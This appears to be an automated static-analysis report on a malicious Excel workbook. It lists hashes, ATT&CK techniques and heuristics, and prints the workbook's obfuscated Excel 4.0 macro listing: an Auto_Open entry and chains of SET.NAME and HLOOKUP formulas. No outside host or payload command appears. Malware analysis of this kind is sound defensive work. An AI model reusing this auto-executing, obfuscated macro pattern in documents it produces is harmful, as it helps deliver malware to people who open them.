Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4a241c5994a68c9d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:26 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: cabf425146a0a6cb003f95516eddc707 SHA-1: cdf55c989eed0e75b60bfd37707256a94fa4ea0b SHA-256: 4a241c5994a68c9dda71779790fadc4f723e673c9204c88d893a294702ab205f
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open defined name, which is a common technique for executing malicious code. The macro sheet contains formulas that call dangerous API functions, specifically identified as 'RUN'. This suggests the macro is designed to execute a payload, likely leveraging the 'RUN' function to launch an external process or script. No specific IOCs like URLs or hashes were extracted from the macro content itself.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6685 bytes
SHA-256: 7c58d01c72a261fdbb0d27c3036b6249526bc6c42ea7a69c5ba822bdd4c56e16
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MDAwCw
' 0018     20 LABEL : Cell Value, String Constant - Aekgg len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D146 
' 0018     21 LABEL : Cell Value, String Constant - CpCLKl len=0 
' 0018     26 LABEL : Cell Value, String Constant - CqaRBObeNfN len=0 
' 0018     23 LABEL : Cell Value, String Constant - cRCWxjCN len=0 
' 0018     21 LABEL : Cell Value, String Constant - DIaoae len=0 
' 0018     26 LABEL : Cell Value, String Constant - EIhToCBQPUL len=0 
' 0018     23 LABEL : Cell Value, String Constant - FRgicrnM len=0 
' 0018     25 LABEL : Cell Value, String Constant - igoFOTGIkL len=0 
' 0018     26 LABEL : Cell Value, String Constant - jSRxCyfNgcQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - kFPrrfzYxiiB len=0 
' 0018     25 LABEL : Cell Value, String Constant - NDkMzoEpmQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - nhDWKehwzj len=0 
' 0018     25 LABEL : Cell Value, String Constant - qfQwkKOUDe len=0 
' 0018     24 LABEL : Cell Value, String Constant - RMRfnrGGB len=0 
' 0018     26 LABEL : Cell Value, String Constant - SaymcYghPoj len=0 
' 0018     25 LABEL : Cell Value, String Constant - tOIizGHyWR len=0 
' 0018     26 LABEL : Cell Value, String Constant - vaxdwRIPXja len=0 
' 0018     20 LABEL : Cell Value, String Constant - wBIyC len=0 
' 0018     20 LABEL : Cell Value, String Constant - WELIJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - yYDpUzYGiFz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MDAwCw,R54,"",317.00000000000000000000
'  MDAwCw,R55,"",-440.00000000000000000000
'  MDAwCw,D56,"SET.NAME("DIaoae",0+VALUE("0"))",""
'  MDAwCw,R56,"",702.00000000000000000000
'  MDAwCw,R57,"",-117.00000000000000000000
'  MDAwCw,R58,"",-734.00000000000000000000
'  MDAwCw,D59,"SET.NAME("CpCLKl",DIaoae)",""
'  MDAwCw,R59,"",861.00000000000000000000
'  MDAwCw,D64,"SET.NAME("jSRxCyfNgcQ",DIaoae)",""
'  MDAwCw,D67,"SET.NAME("CqaRBObeNfN",COUNTA(RMRfnrGGB))",""
'  MDAwCw,D72,"SET.NAME("wBIyC",COUNTA(EIhToCBQPUL))",""
'  MDAwCw,D75,[],""
'  MDAwCw,D77,"SET.NAME("tOIizGHyWR","")",""
'  MDAwCw,D80,"CpCLKl",""
'  MDAwCw,D84,"SET.NAME("qfQwkKOUDe",HLOOKUP("*",RMRfnrGGB,CpCLKl,FALSE))",""
'  MDAwCw,D87,"NDkMzoEpmQ",""
'  MDAwCw,D90,"SET.NAME("yYDpUzYGiFz",DIaoae)",""
'  MDAwCw,D94,[],""
'  MDAwCw,D97,"yYDpUzYGiFz",""
'  MDAwCw,D102,"nhDWKehwzj",""
'  MDAwCw,D104,"igoFOTGIkL",""
'  MDAwCw,D108,"vaxdwRIPXja",""
'  MDAwCw,D112,"SET.NAME("Aekgg",VALUE(HLOOKUP("*",EIhToCBQPUL,vaxdwRIPXja,FALSE)))",""
'  MDAwCw,D116,"kFPrrfzYxiiB",""
'  MDAwCw,D119,"tOIizGHyWR",""
'  MDAwCw,D122,"jSRxCyfNgcQ",""
'  MDAwCw,D126,NEXT(),""
'  MDAwCw,D128,"SaymcYghPoj",""
'  MDAwCw,D132,[],""
'  MDAwCw,D135,"WELIJ",""
'  MDAwCw,D137,NEXT(),""
'  MDAwCw,D142,RETURN(),""
'  MDAwCw,D173,"SET.NAME("cRCWxjCN",D56)",""
'  MDAwCw,D176,"RMRfnrGGB",""
'  MDAwCw,D178,"SET.NAME("EIhToCBQPUL",R83C11)",""
'  MDAwCw,D180,"SET.NAME("WELIJ",189)",""
'  MDAwCw,D185,"SET.NAME("FRgicrnM",4)",""
'  MDAwCw,D188,cRCWxjCN(),""
'  MDAwCw,D189,HALT(),""